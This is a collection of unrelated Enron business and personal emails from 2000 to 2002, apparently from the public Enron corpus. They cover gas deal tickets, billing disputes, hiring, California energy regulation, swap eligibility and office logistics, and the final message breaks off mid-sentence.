---------------------- Forwarded by Eric Bass/HOU/ECT on 02/06/2001 10:50 AM 

"Larry W. Bass" <lwbthemarine@bigplanet.com> on 02/06/2001 10:28:40 AM
To: KATHY BASS <daphneco64@bigplanet.com>, kb <daphneco64@yahoo.com>, jason 
<jason.bass2@compaq.com>, eric preston bass <Eric.Bass@enron.com>
cc:  
Subject: Fw: Closed book quiz

From: "Jack Rains" <jmrtexas@swbell.net>
To: <jmrtexas@swbell.net>
Sent: Monday, February 05, 2001 8:42 PM
Subject: Closed book quiz

>
>
> Take a moment to read this and you will understand why I am sending it to
> you, with love,
>
> jack
>
> This isn't like other quizes....don't bother getting a
> pen and paper...just read
>
>
>
> Stolen from elsewhere, but the sentiment is true.
>
> 1. Name the five wealthiest people in the world.
>
> 2. Name the last five Heisman trophy winners.
>
> 3. Name the last five winners of the Miss America
> contest.
>
> 4. Name ten people who have won the Nobel or Pulitzer
> prize.
>
> 5. Name the last half dozen Academy Award winners for
> Best Actor and
> Actress.
>
> 6. Name the last decade's worth of World Series
> Winners.
>
>
> How did you do?
>
> The point is, none of us remembers the headliners of
> yesterday. These
> are
> no second-rate achievers. They're the best in their
> fields.  But the
> applause dies. Awards tarnish. Achievements are
> forgotten. Accolades
> and
> certificates are buried with their owners.
>
> Now here's another quiz. See how you do on this one:
>
> 1. List a few teachers who aided your journey through
> school.
>
> 2. Name three friends who have helped you through a
> difficult time.
>
> 3. Name five people who have taught you something
> worthwhile.
>
>
> 4. Think of a few people who have made you feel
> appreciated and
> special.
>
> 5. Think of five people you enjoy spending time with.
>
> 6. Name a half dozen heroes whose stories have
> inspired you.
>
> Easier?
>
> The lesson?
>
> The people who make a difference in your life aren't
> the ones with the
> most credentials, the most money, or the most awards.
> They're the ones
> who
> care.
>
> When you have a chance, pass this on to people who've
> made a
> difference in your life.
>
>
>
> I did.
>
>
>
> jack
>

Dear Louise and Greg:

Fortune magazine's September article about your--virtually
overnight--success building EnronOnline prompted me to contact you, mostly
because our company's (Everypath, Inc.) wireless technology could be the
perfect tool to help you move the EnronOnline marketplace into wireless by
offering trading anytime, anywhere, via any wireless devices (as we've done
for E*Trade, Fidelity, and others offering complex wireless transactions).

Very briefly, our company has quickly gained real traction in this space.
We were honored as a Smithsonian Laureate this year, named by Forbes among
the 25 Best of the Web in business to business, and recognized by CNet as
one of ten "wireless companies to watch."   Our partners include Sun
Microsystems, Hewlett-Packard, Andersen Consulting and Cap Gemini Ernst &
Young, as well as many others, and have already raised significant funding
from investors such as Robertson Stephens, Comdisco, Dain Rauscher Wessels,
Sevin Rosen, U.S Venture Partners, Andersen Consulting Ventures, Sun, and H
& Q.

If you see commodities trading moving soon into wireless,  just as you saw
(or influenced) the industry to move online, shouldn't Enron lead the way in
wireless trading too?  We would love the opportunity to talk to you about
helping you go wireless.

Let me know if I should follow-up with you or someone else in your group by
sending an email or calling at any of the numbers below.  I look forward to
hearing from you, and to coming home to Houston to speak with you further
about this (I practiced law in Houston for years with Weil, Gotshal &
Manges--over in the NationsBank building on Louisiana).

Sincerely, David Marcus

David Marcus
Senior Corporate Counsel
Everypath, Inc.
2211 North First Street
Suite 200
San Jose, CA  95131
direct (408) 562-7978
cell (650) 281-9010
fax (408) 562-8100
www.everypath.com

Suite 200

except for Chris Simms of course . . .

http://ww3.sportsline.com/b/page/pressbox/0,1328,3476276,00.html

Here is a map of Genco.  I'm still looking for some other summary information.
Ben

I have created deal tickets 241558 and 241560 for July 99 - March 00 based on 
the info below.  Due to time constraints, I have not researched pricing and 
volumes, I trust that the info supplied to me agrees with the contract.

Robert - We need to get together tomorrow afternoon to set up April.

D

04/11/2000 09:28 AM
To: Daren J Farmer/HOU/ECT@ECT, Robert E Lloyd/HOU/ECT@ECT
cc:  
Subject: Re: Equistar Deal Tickets

What is going on about this deal?  Can we get this resolved today?

Robert:  Who requested Valero to be split out?

Thanks!

Julie

---------------------- Forwarded by Julie Meyers/HOU/ECT on 04/11/2000 09:28 

Tina Valadez
04/06/2000 01:01 PM
cc: Daren J Farmer/HOU/ECT@ECT, Robert E Lloyd/HOU/ECT@ECT 

Are you still available to assist Robert with entering the new deal tickets 
for Equistar?  After talking with Bryan Hull and Anita Luong, Kyle and I 
decided we only need 1 additional sale ticket and 1 additional buyback ticket 
set up.
---------------------- Forwarded by Tina Valadez/HOU/ECT on 04/06/2000 12:56 
From: Robert E Lloyd on 04/06/2000 12:40 PM
To: Tina Valadez/HOU/ECT@ECT
cc:  
Subject: Re: Equistar Deal Tickets  

You'll may want to run this idea by Daren Farmer.  I don't normally add 
tickets into Sitara.

04/04/2000 10:42 AM
To: Robert E Lloyd/HOU/ECT@ECT
cc: Bryan Hull/HOU/ECT@ECT 
Subject: Equistar Deal Tickets

Kyle and I met with Bryan Hull this morning and we decided that we only need 
1 new sale ticket and 1 new buyback ticket set up.  The time period for both 
tickets should be July 1999 - Forward.

The pricing for the new sale ticket should be like tier 2 of Sitara #156337 
below:

The pricing for the new buyback ticket should be like tier 2 of Sitara 
#156342 below:

Thanks,
3-7548

Guys

Please see article attached.  Pages 3 and 4 are interesting.  Page 3 discusses the options functionality available on the various platforms and Page 4 refers to the demutualisation of the LME leading to the possibility that LME Select may offer OTC contracts (similar to enymex).

Article also talks about LME Select enabling automated data transfer to the LME matching system.

Rgds

Amita

From: 	Chana, Kuldeep   On Behalf Of Enron Media Cuttings@ENRON
Sent:	Wednesday 23 May 2001 15:40
To:	Gentle, Jackie; Kitchen, Louise; Sherriff, John; Palmer, Mark; Gold, Joe; Gosalia, Amita; Romano, Marcello; Jafry, Rahil; Lewis, Richard; Brown, Michael; Forster, David; Connelly, Angela; Leboe, David; Goddard, Paul; Shah, Kal; Green, Julie; Samuels, Dave; Garner, Bruce; Parsons, Alex; Shapiro, Richard; Enron London - EOL Product Control Group,; Boyd, Justin; Gadd, Eric; Christopher McKey/LON/ECT@ECT; Grant, Fiona; McKeever, Tom; Farmer, Michael; Hutchinson, Michael; Heath, Alex; Hellerman, Molly; Marsh, Jonathan
Subject:	e-commerce in base metals...(Enron mention)

Please find attached the following article:
'Base metals - spoilt for choice?' - MBM Metal Bulletin Monthly: Metals Online

Kuldeep Chana

These are good fixes.  I still think it's important for our security people 
to be able to recognize all of our senior executives and make sure their 
guests get where they are going quickly.

cc: Susan Skarness/HOU/ECT@ECT 
Subject: 

Follow-up

Steve - 

Following up on our conversation Friday, we have advised Cliff Baxter's 
Assistant that effective immediately Cliff and his quests can pass through 
Security on the Plaza, without showing his access card or requiring his 
quests to sign in or identify themselves.  All he needs to do is approach the 
front Reception Desks and asking for entry.  The receptionists will recognise 
Cliff by sight and ensure that he and his quests pass through - without delay 
- by lifting the adjacent rope.

We are asking Cliff to use his badge at the card readers, as per standard 
procedure, when he is entering the building by himself.

We are also refining procedures and upgrading our IT systems/data base @ the 
Reception Desk, to make it easier on a visitor of any employee.  For example 
if you call down to the Plaza Reception Desk and advise that a visitor is 
expected, the receptionist will have a pass prepared so as to eliminate the 
sign in process.  The guest simply has to exchange their business card for 
the visitor pass.  Or if an employee shows their access card at the Reception 
Desk and asks that their guest gain entry, that guest can get a badge without 
signing in.  Again, we ask that the guest exchange their business card for a 
visitor pass.

We are  working on installing a new data base @ the Desk that will pull up a 
digitised photo of the employee (duplicate of what's on their badge) on the 
screen.  This will allow employees to get a temporary access badge without 
showing other ID and will speed process.

Finally, we are testing a small proximity access card which is designed to be 
a duplicate back-up for executives.  It is sized to fit on a key chain and 
works with our standard card readers.

- Bill 
 
Isabel:  It is ok to pay this invoice per Randy Gay.  If you need anything 
else just let me know.  Thanks.

Shirley,

Please, give Gloria info about my availability

Vince

02:27 PM ---------------------------
   
	From:  Jennifer Fraser                           01/08/2001 01:16 PM
	
To: Mark Tawney/HOU/ECT@ECT, Vince J Kaminski/HOU/ECT@ECT, Mike A 
cc: Gloria Solis/HOU/ECT@ECT, Betty J Coneway/HOU/ECT@ECT, Kevin G 
Moore/HOU/ECT@ECT 
Subject: Weather Person for London EGM

We need to set a further round of inteviews for Tony Hamilton. Can everyone 
let Gloria Solis know their availability over the next 2 weeks.  Below are 
the results from our initial interviews and the candidate's resume
Thanks
Jen
---------------------- Forwarded by Mike A Roberts/HOU/ECT on 12/15/2000 

Tony Hamilton <th@mssl.ucl.ac.uk> on 12/15/2000 02:11:58 AM
Please respond to Tony Hamilton <th@mssl.ucl.ac.uk>
To: Mike.A.Roberts@enron.com
cc:  
Subject: Meteorologist/Forecaster

Dear Mike

I would like to apply for the above position as advertised in "EARTHWORKS" and
enclose my full CV (In Word 97/00 format) in support.

I am currently a research Fellow with UCL conducting research, and building
forecasting models for the statistical prediction of North Atlantic Sea 
Surface
Temperatures and other climatic parameters at long leads (1-12 months ahead of
forecast period).

I have recently applied this model to the North Sea in order to aid long-lead
forecasts of Fish Stocks (see SAP-symposium, 4-6 December, Bergen, Norway), 
and
have recently been applying similar models to the North Atlantic Oscillation, 
an
atmospheric phenomena which is strongly correlated with winter climate over
UK/Norway and NW Europe, particularly temperatures, rainfall and windspeeds 
(see
enclosed poster which was presented recently at an international conference on
the NAO in Vigo, Spain)

As you will see from my CV, I have 2+ years experience consulting in several
areas of geoscience to the oil, gas and minerals industries and have good
programming skills, both on Unix machines and on PCs.

I am particularly keen to apply my skills in the commercial sector and 
initiate
a permanent career path.

I look forward to the opportunity of hopefully discussing my skills further 
with
you in the near future.

Tony Hamilton

********************************************************
* Dr. Tony Hamilton    *
* Research Fellow     *
* Benfield Greig Hazard Research Centre  *
* Department of Space and Climate Physics  *
* University College London   *
* HOLMBURY ST MARY    *
* Dorking      *
* Surrey RH5 6NT     *
*       *
* E-mail:  th@mssl.ucl.ac.uk  *
* Telephone: +44 (0)1483 560107  *
* Fax:  +44 (0)1483 278312  *
* Web-site: http://forecast.mssl.ucl.ac.uk/ *

 - TH_CV.doc
 - NAO_PosterV2.gif
---------------------- Forwarded by Jennifer Fraser/HOU/ECT on 08/01/2001 
13:11 ---------------------------
   
	From:  Jennifer Fraser                           21/12/2000 07:32
	
To: Jeffrey A Shankman/HOU/ECT@ECT, Chris Mahoney/LON/ECT@ECT, Mike A 
Roberts/HOU/ECT@ECT, Vince J Kaminski/HOU/ECT@ECT
cc: Stewart Peter/LON/ECT@ECT, Niamh Clarke/LON/ECT@ECT 

Folks:
We interviewed three candidates. One of the three (Tony Hamilton)  seems to 
be a very good fit within the Enron culture and values.
Recommended Next Steps
Vince, Mike and Jeff interview Tony via video conference or avistar

Tony Hamilton Key Strengths
Quick thinker
Good teams skills
Driven - will be able to get the project off the ground quickly
Has a commercial attitude
Sees "the big picture"

Tony Hamilton is available for follow up interviews the first week of January.
Thanks
Jen

Hi Peter,

When do you  think we will have a pretty compared document?

Thanks,

Kay

When did Bay State bill ENA for this?  And, did Bay State pay there bill for 
gas ENA sold them or did they deduct this from the payment?

It does work out to 5,500 dt per day at $.09.

Isabel Y Resendez
09/21/2000 10:58 AM
cc: Genaro Mendoza/NA/Enron@Enron, Elizabeth L Hernandez/HOU/ECT@ECT 
Subject: Re: Bay State

Hello Chris,
Remember the demand charge that was entered in the sales side that you killed 
about a week ago?(deal # 233091)  Well, the demand charges need to be in the 
purchase side not the sales side.  Per Bay State, Enron should be paying the 
demand charges.  Are they correct???  Bay State is also charging interest for 
late payment.  Please let me know if you need any more information.
Production month Amount
April   $14,850.00
May   $15,345.00
June   $14,850.00
July   $15,345.00
August   $15,345.00
Interest   $926.32

---------------------- Forwarded by Isabel Y Resendez/HOU/ECT on 09/21/2000 
10:47 AM ---------------------------

09/20/2000 09:14 AM
To: Elizabeth L Hernandez/HOU/ECT@ECT
cc: Genaro Mendoza/NA/Enron@Enron 

Do you know if Chris put in the demand charge on the purchase side???
Bay State is charging Genaro the demand charge on the purchase side.
Thank you for you help
isabel

Elizabeth L Hernandez
09/11/2000 10:37 AM
To: Isabel Y Resendez/HOU/ECT@ECT
cc:  
Subject: Re: Bay State  

I forwarded this information to Chris Germany and I know he was working on it 
Friday.  I will get with him today to find out what the status of this issue 
is.  I'll get back with you.

09/11/2000 10:34 AM
cc:  

Good Elizabeth,
Could you give me an update on this matter.  Please let me know if you need 
anything from me or if you want me to speak to someone.

Thank you 
isabel
---------------------- Forwarded by Isabel Y Resendez/HOU/ECT on 09/11/2000 
   
	From:  Shawna Johnson @ ENRON                           09/05/2000 11:32 AM
	
cc:  

I have forwarded the following request to Elizabeth Hernandez.  She handles 
the East desk.  Any deals regarding the Central, Ontario or West desk please 
send to me!!

:  )
smj

Isabel Y Resendez@ECT
09/05/2000 10:40 AM
To: Shawna Johnson/Corp/Enron@ENRON
cc:  

Subject: Bay State

Shawna,
I am Isabel and I work in Gas Settlements.  Could you help me out with the 
following?

Deal # 233091 for Bay State is charging a demand charge every month.  
Accourding to Bay State Enron should not be charging demand charges.  Could 
you let me know if this correct.  Should Enron be charging demand charges?  
Maureen Smith is down as the trader on the deal.  However, I am not sure if 
that is correct.  Please let me know if you are not the correct person to 
send this note too.  
Thank you for your help!
isabel
3-0440

Start Date: 10/18/01; HourAhead hour: 3;  No ancillary schedules awarded.  No variances detected. 

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2001101803.txt

I reviewed the proposed legislation written by SCE introducing changes to the 
PU Code for Rate Stabilization at the end of the AB 1890 Rate Freeze.  The 
following are my observations:

SCE realizes that maintaining the AB1890 Rate Freeze will most likely not 
help them recover their remaining CTCs and may in fact result in reducing the 
level of CTC revenues recovered thus far.  Under the AB1890 Rate Freeze, 
SCE's shareholders now incur the risks associated with the commodity market 
prices.
SCE also realizes that the CPUC, State of California, and public will not 
allow SCE to artificially end the rate freeze early and forego recovery of 
CTCs as revealed in the bill language: "which could cause such electrical 
corporations to elect to take a loss on collection of utility 
generation-related assets and obligations in order to terminate the rate 
freeze that is currently providing protection from the current high and 
volatile electricity prices."
Realizing that no one will allow customers to see high and volatile 
electricity prices, SCE has proposed and supports this Rate Stabilization 
Proposal, so that it  can exercise the option to artificially end the rate 
freeze early.
This type of option to PG&E and SCE could result in a financial loss to Enron 
Energy Services if the Rate Stabilization proposal does not equal apply to DA 
customers, as well as SO customers.
It is clear that the proposal is to require the CPUC to stablize rates after 
the AB1890 Rate Freeze.  It is not clear whether the proposal is a rate 
freeze or cap, that is left up to the CPUC.  Most of the implementation 
details are left to the CPUC, provided that the CPUC implemented a 
non-bypassable rate to customers who benefit and the stabilized rates remain 
in effect through March 31, 2003.
It  is not clear whether the Post Freeze Rate Stabilization proposal applies 
equally to DA customers, even though the bill states: "Customers who have 
chosen to purchase electricity through direct transactins may also be 
experiencing large increases in electricity costs."
It is clear the SCE wants to move to a new paradigm from the AB1890 Rate 
Freeze where SCE's shareholders incur the risks of high and volatile comodity 
prices to this Rate Stabilization Proposal (Rate Freeze or Cap) where 
ratepayers incur such risks.  (This clearly demonstrates why utilities are 
the wrong company for the job).
Despite our philosophical beliefs or future value propositions, if the Rate 
Stabilization Proposal allows utilities to end the rate freeze early and does 
not equally apply to DA customers, depending on when utilities will elect to 
end the AB1890 Rate Freeze, we may be talking about a $100 million hit or 
swing to our book.
Needless to say, we need to support parity between DA and SO under the Rate 
Stabilization Proposal.

Roger

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APACHI management has been successful in delaying for at least two weeks the 
signing of a renegotiated agreement for phase II of the Lagos State project, 
a 548 megawatt power plant.  This is part of the PPA that was originally 
signed and publicized in December 1999. Per our discussions, we sought a 
delay in the signing from this week to avoid undue publicity as a result of 
President Clinton's visit to Nigeria on August 26 and 27. 

There is still a risk that the Governor of Lagos may talk about the project, 
but we expect most reports to focus on the phase I emergency power barges and 
do not anticipate significant publicity about phase II.  Furthermore, Habiba 
has carefully developed an agreement on statements and minimal publicity with 
NEPA and other government agencies, which should mitigate any leaks.

Attached are the statement and Q&As we plan to use after the signing. 

got it.

Sent: Tuesday, October 09, 2001 6:49 PM
To: Ryall, Jean
Cc: Dasovich, Jeff
Subject: RE: Do you know Laura Doll?

Dasovich this is in your court.
 
Jim

From: Ryall, Jean 
Sent: Monday, October 08, 2001 11:46 PM
To: Steffes, James D.

Yes, I have known her for quite some time.  She is the one who recommended me to Korn Ferry for the job that I have at Enron.  I will be happy to make the introduction.  Shall I make arrangements for a meeting in Pebble Beach???  
 
I'll give her a call when you say the word...Jean

Sent: Sun 10/7/2001 9:48 AM 
To: Ryall, Jean 
Cc: Dasovich, Jeff 
Subject: Do you know Laura Doll?

Jean --
 
Laura Doll has been appointed head of the CA Power Authority.  Do you know her?  It would be good to have an introduction for Jeff Dasovich.
 
Jim

Thanks for the names.

The only one I have problems with is mlarubb.

Please let me know if there is another letter or number missing

We will have the webpage updated by next week

Thanks for you interest

Rika 

Sent:	Thursday, January 31, 2002 4:02 PM
Subject:	ERCOT

Rika,

Here are the user names that you requested for the ERCOT website:

dbaumba, ebass, vweldon, tmartin, molsen2, gbryan, mlarubb.

Thanks,

Eric

Barry,  Are you working directly with the business people at PG&E to review 
this?  What is the status?

----- Forwarded by Gerald Nemec/HOU/ECT on 04/16/2001 01:37 PM -----

	Steve Van Hooser
	04/16/2001 08:20 AM
		 
		 To: Gerald Nemec
		 cc: 
		 Subject: Spread Value Calc.

Steve Van Hooser
1400 Smith
EB3877
713-853-7238
----- Forwarded by Steve Van Hooser/HOU/ECT on 04/16/2001 08:19 AM -----

	Barry Tycholiz@ENRON
	04/16/2001 08:18 AM
		 
		 To: William S Bradford/HOU/ECT, Steve Van Hooser/HOU/ECT@ECT
		 cc: 

We are building a model this a.m. to test calculation assumptions.  Has PG&E 
asked for any clarification or changes to my proposed calc.  

I will have confirmation of the calc first thing this a.m. ( monday ) 

BT. 
---------------------- Forwarded by Barry Tycholiz/NA/Enron on 04/16/2001 

Gerald Nemec@ECT
04/12/2001 05:43 PM
To: Steve Van Hooser/HOU/ECT@ECT, Peter.meier@neg.pge.com
cc: Barry Tycholiz/NA/Enron@ENRON 

Subject: Spread Value Calc.

Attached is a draft of the mark to market language per your discussion with 
Barry.  Please review and contact Barry directly to discuss.

Barry's numbers
(713) 667-9956 Home
(713) 302-6442 Cell

Jon, I though I would check in and see how things are going down south.  I
talked to the boys in Calgary last week about the PSAC report, I guess that
they were going to the luncheon last week and wondering if they should anti
up the money for the report.  Other than that, I haven't talked to them
much, but can't wait to get home for Christmas.

Things have been pretty busy up here, I have spent a lot of time partying,
but even more time studying and working.  We have finals next week, then
have a week off, and start up again.  So far, things have gone pretty well,
and I have learned some pretty neat things (why Napster was an efficient
solution, why Microsoft included I.E. in their operating system...).  We are
finishing the accounting (thank goodness), and will be starting into capital
markets and more spreadsheet classes.  All in all, we have covered a lot of
the material that was in the first year of the CFA, but also learned a
little more about the softer subjects and case analysis.

The social scene here is pretty good, other than a definite lack of women.
Our class had one of the lowest female participant rates in history, and it
is starting to show on the faces of many of the single guys in my class
(myself included).  Four of us took a run up to Montreal on Friday for the
night, and it was a welcome relief.  Other than that, we can't complain too
much.  I started to play hockey once a week, and bought a ski pass that I
should be able to use in a few more weeks.

I am starting to think about what I am going to do next summer, and wanted
to talk to you about a few things.  I was considering a brief foray into the
consulting industry, and was thinking about a company in Boston that
specializes in the natural gas and power markets.  They have a pretty good
staff, and are very technical in terms of project valuations, and analysis.
I think that it would be a good, different background, but wanted to talk to
you (and possibly your girlfriend), about other types of work or companies
within the industry, including Enron.

Let me know when you get time to talk, and also let me know how things are
going in Houston.

Later.

PLEASE MAKE SURE YOU ARE COMPLETELY PACKED BY 3:00 PM.  THE MOVE TEAM WILL BE ON THE FLOOR BY 3:00 PM.  

ALSO:

1. EMPTY VOICEMAIL
2. TAKE HOME LAPTOPS AND PALM PILOTS, IPAQ'S OR BLACKBERRY'S
3. TO BE HERE AT LEAST ONE HOUR PRIOR TO YOUR NORMAL TIME ON MONDAY MORNING.  THE FLOOR WILL BE OPEN BY 5:00 AM
4.  PACK HEADSETS. (BOX,  BLACK WIRE TO EARPIECE AND BLACK CORD THAT CONNECTS UNDER DESK) ONLY LEAVE GRAY WIRES

LET ME KNOW IF THERE IS ANY QUESTIONS  OR IF YOU NEED ANY HELP
Ina Rangel
713-853-7257 Voice
713-646-3604 Fax
 
From: Arnold, Matthew 
Sent: Monday, July 16, 2001 8:46 AM
Subject: FW: vacation

From: Karen Arnold [mailto:klarnold@flash.net]
Sent: Sunday, July 15, 2001 3:19 PM
To: Arnold, John; Arnold, Matthew
Subject: vacation

If we are going on a family vacation this year, we need to start planning.
Now it may be that we all have over expended this year, me on the kitchen,
MBA on the house, JDA on the furniture is has bought, is buying or will
but, and we may only be able to go to the Woodlands, Fredericksburg, or
someplace.  Anyway, we need to do some planning or we will be out of luck.
August is looking bad for me.  September?  Love, Your Mom

EOG interconnect is finishing this week and will be in service by this 
weekend.  It will initially flow 8-10000/day and will increase to over 15000.

11/07/2000 02:09 PM
To: Kevin Hyatt/ET&S/Enron@Enron, Christine Stokes/ET&S/Enron@ENRON, Bob 
Burleson/ET&S/Enron@ENRON, Michelle Lokay/ET&S/Enron@Enron
cc:  

Subject: Info for Steve

I'm preparing a "cheat sheet" for Steve for a presentation he is making 
tomorrow.  There is a slide about our new or proposed supply interconnects.  
Please send me an email with the capacity/volume and projected in-service (or 
if it's already in-service) for your project.  If I have the wrong people, 
please let me know.

Please send this to me this afternoon by 4:30.  Thank you!!

NGPL Kevin
CIG Christine
Duke Bob
EOG Michelle (&/or Bob?) 

---------------------- Forwarded by Sandra F Brawner/HOU/ECT on 05/11/2001 

"Jon Schnitzer" <jons@amerexenergy.com> on 05/11/2001 09:27:21 AM
To: "Suzann Schnitzer" <sschnitz@jcpenney.com>, "susan schnitzer" 
<s.schnitzer@worldnet.att.net>, "skushnick" <skushnick@evomarkets.com>, 
"Sandra F Brawner" <Sandra.F.Brawner@enron.com>, "Schnitzer, Harry" 
<harrys@saaron.com>, <robert.k.rodriguez@db.com>, "Mike Bilotti" 
<michael.bilotti@capco.com>, "lance jordan" <lcjo@dynegy.com>, 
<JSEGAUL44@aol.com>, "john shaw" <john.shaw@glencore-us.com>, "jeremy davis" 
<jjda@dynegy.com>, "gerardo ruiz" <gee_ruiz@hotmail.com>, "david dunnavandt" 
<ddunnavant@reliantenergy.com>, "Chris Paul" <cpaul@dwintegrated.com>, "Brian 
York" <byork@dwintegrated.com>, "anrew o ertel" <aertel@evomarkets.com>
cc:  
Subject: Fw: : First Time Golfer

From: "Hollier, Diana" <DHollier@nisource.com>
To: <jons@amerexenergy.com>
Sent: Friday, May 11, 2001 8:54 AM
Subject: FW: : First Time Golfer

> ?
> From: grehlinger@altra.com [mailto:grehlinger@altra.com]
> Sent: Friday, May 11, 2001 8:51 AM
> To: Meyers, Tim; RickyA@calpine.com; michaels@amerexenergy.com;
Martin@Hou.MorrisArchitects.com; Hollier, Diana;
Chris.Hellman@axiaenergy.com
> Subject: : First Time Golfer
>
>
>

 - Inexperienced Golfer.jpg

i am sorry to hear that.  i had no idea.  i knew you told me he was ill.  are 
you ok?

CGoering@nyiso.com writes to the NYISO_TECH_EXCHANGE Discussion List:

The NYISO is reserving hours beginning 4:00, 10:00, and 18:00 in the
September 26, 2001 Real-Time Market as well as the following hours per ECA

HQ:  21:00-22:00
NE:  21:00-22:00
OH:  21:00-22:00
PJM: 0:00-1:00, 21:00-22:00

Prices in the September 27, 2001 Day-Ahead Market are correct.

Is this for gas sales / purchases only?  Whar is the agreement to cover?

We thought you'd like to know that we shipped your items today,
and that this completes your order.

Thanks for shopping at Amazon.com, and we hope to see you again soon.

You can track the status of this order, and all your orders, online by
visiting "Your Account" page at http://www.amazon.com/your-account.
There you can:
        * Track order and shipment status
        * Review estimated delivery dates
        * Cancel unshipped items
        * Return items
        * And do much more

1        Bud, Sweat and Tees : A Walk o $19.20  1       $19.20

               Item Subtotal:  $19.20
         Shipping & Handling:  $8.98
                       Total:  $28.18

 Errol McLaughlin
 Enron North America
 1400 Smith St. EBE 3248C
 Houston TX 77002

via UPS Second Day (2 business days).

1Z410E7W0274152747.  You can refer to our Web site's Help page or:

If you've explored the links on "Your Account" page but still need to get in
touch with us about your order, e-mail us at orders@amazon.com.

cs_ae_nfy

	The revised ISO Issues Committee proposal is available for your
review via the following link:
http://www2.caiso.com/clientserv/stakeholders/ 

	I request that you return your comments to me by COB on Wednesday,
July 11 via email bwoertz@caiso.com <mailto:bwoertz@caiso.com> 

	Thank You,

	Byron B. Woertz, Jr.

	Director, Client Relations

	(916) 608-7066

	(800) 481-7037 - Pager

Sara,

Thanks for the update.  I will let everyone know when the financial 
statements arrive.

thanks
brant

Sent: Wednesday, May 16, 2001 9:35 AM
To: Reves, Brant
Subject: FW: Total International Ltd.

Brant:  I am now waiting to hear from Paul Simons in London (legal) about 
London's assessment of ECTRIC's counterparties.

----- Forwarded by Sara Shackleton/HOU/ECT on 05/16/2001 09:33 AM -----

	Justin Boyd/Enron@EUEnronXGate 05/16/2001 09:24 AM 	   To: Sara 
Shackleton/HOU/ECT@ECT  cc:   Subject: FW: Total International Ltd.

sara

fyi - i am awaiting a rsponse from paul

justin

From:  Boyd, Justin  
Sent: 16 May 2001 15:09
To: Boyd, Justin
Subject: RE: Total International Ltd.

---------------------- Forwarded by Justin Boyd/LON/ECT on 16/05/2001 15:13 

15/05/2001 08:06
To: Paul Maley/LON/ECT@ECT
cc:  

Paul

it's always been my impression that CRM assesses each C/P to determine 
whether it meets not only the SFA but also the CFTC test....[although it is 
true that in many cases if the SFA test is met so will be the CFTC one

can we chat...

Thanks.
Justin
---------------------- Forwarded by Justin Boyd/LON/ECT on 15/05/2001 08:08 
From: Sara Shackleton on 14/05/2001 18:26 CDT
cc:  

Justin:

What lawyer handles daily financial trading issues?  I need to speak with 
that person about US swap eligibility rules governing US companies, 
specifically, ECTRIC, and who evaluates ECTRIC's counterparties for 
eligibility.  The specific issue has to do with Total as you will see from 
the string of emails attached.  I look forward to hearing from you.  Thanks.

----- Forwarded by Sara Shackleton/HOU/ECT on 05/14/2001 06:22 PM -----

	Brant Reves/ENRON@enronXgate 05/08/2001 02:23 PM 	   To: Sara 
Shackleton/HOU/ECT@ECT  cc: Paul Maley/LON/ECT@ECT  Subject: RE: Total 
International Ltd.

Sara,

ECTRI is a UK registered company.  As a subsidiary of ENA, which is 
registered under US law, can my trader sleave deals through ECTRI to get 
around the eligibiilty issue.  We are working with Total to get a 
confidentiality agreement signed but it is taking awhile and we will not be 
receiving financial statements to evidence eligibility for another three 
weeks.

thanks
brant

From:  Maley, Paul  
Sent: Tuesday, May 08, 2001 10:56 AM

Brant
For SFA purposes as they are ulitmately owned by a quoted company on a 
recognised stock exchange then this is sufficient to sign them off.   I don't 
really know whether this makes them an elligible swap participant for the US 
though.
Paul

From: Brant Reves/ENRON@enronXgate on 07/05/2001 09:59 CDT
cc:  

I am not quite sure I understand.  Does SFA requirements mean you have a 
guaranty, financial statements, or other material that establishes them as an 
eligible derivative customer.  One of our marketers continues to try and 
trade with them and I still don't fully understand how they are open in 
London.  Does meeting SFA requirements establish this customer as an eligible 
counterparty under US statutes?

brant

Sent: Friday, May 04, 2001 7:53 AM
Cc: Jackson, Lee; Shackleton, Sara
Subject: Re: Total International Ltd.

Brant
We have passed them for SFA requirements in London so yes they can trade 
through London no problem at all.  (see Regulatory tab in CAS)
Any problems, let me know.
Paul

From: Brant Reves/ENRON@enronXgate on 03/05/2001 08:30 CDT
cc: Lee Jackson/ENRON@enronXgate, Sara Shackleton/HOU/ECT@ECT 

Subject: Total International Ltd.

Paul,

I have a trader that is trying to trade financially with Total International 
Ltd., but we have asked that he not until we can sort our some eligibility 
issues.  Prior to speaking with Ben Hamida at Total last week, we had never 
approached them for financial statements or a guaranty that would establish 
them as elibible contract parties.  I noticed that we have significant 
financial trading with them in London.  How have you established eligibilty?  
My trader is asking, since he cannot trade under ENA with Total, if he can 
sleave deals through London.

Any ideas or insight would be helpful.

thanks
brant

This memo will confirm our dinner meeting to be held June 21, 2000 at the 
River Oaks Grill

     DATE    June 21, 2000
     PLACE   Wine Room
         River Oaks Grill
         2630 Westheimer
         713/520-1738
     TIME    6:30 PM

If you have any questions, please do not hesitate to contact Kay (3x0643) or 
Beverly (5x7857)

I will be coming back on this flight.  Please disregard my request to go 
directly to Las Vegas.  I will need a flight to Las Vegas on the following 
Friday and returning Sunday morning.  

Thanks,
Mike

Attached is revised list.

	Anne C Koehler
	02/09/2001 10:23 AM
		 
		 cc: 
		 Subject: Project Offline

Attached hereto is a list of the agreements we reviewed in connection with 
the due diligence review that was done for Project Offline.  The list is a 
subset of the list you originally prepared with some additional comments 
added by me.  Could you please add in the Wise Soft agreements that I gave 
you earlier this week as well as the agreements relating to Robert Campbell.  
If you do not have copies of the Robert Campbell agreements let me know.  
Thanks for you help!!

EB 3839

----- Forwarded by Steven J Kean/NA/Enron on 02/13/2001 02:55 PM -----

	02/12/2001 09:49 AM
		 
		 cc: 
		 Subject: CFTC Chair

---------------------- Forwarded by Richard Shapiro/NA/Enron on 02/12/2001 
From: Lisa Yoho on 02/12/2001 07:37 AM PST
To: Richard Shapiro/NA/Enron@Enron
cc:  

Subject: CFTC Chair

Rick -- Let's discuss when you have a minute.  Thanks, Lisa
----- Forwarded by Lisa Yoho/NA/Enron on 02/12/2001 07:36 AM -----

	Chris Long
	02/12/2001 07:23 AM
		 
		 To: Linda Robertson/NA/Enron@ENRON, Lora Sullivan/Corp/Enron@ENRON, Allison 
Navin/Corp/Enron@ENRON
		 cc: Lisa Yoho/NA/Enron@Enron

Jim Newsome is currently the Interim Chair of the Commodities Futures Trading 
Commission (CFTC).  He was appointed in 1998 to term which expires in June 
2001.  Commissioner Newsome visited Enron in 1999 and will again visit Enron 
to meet with Jeff Skilling (also EnronOnLine executives) on March 6, 2001.

The CFTC has 5 Commissioners.  Commissioners Newsome and Spears are 
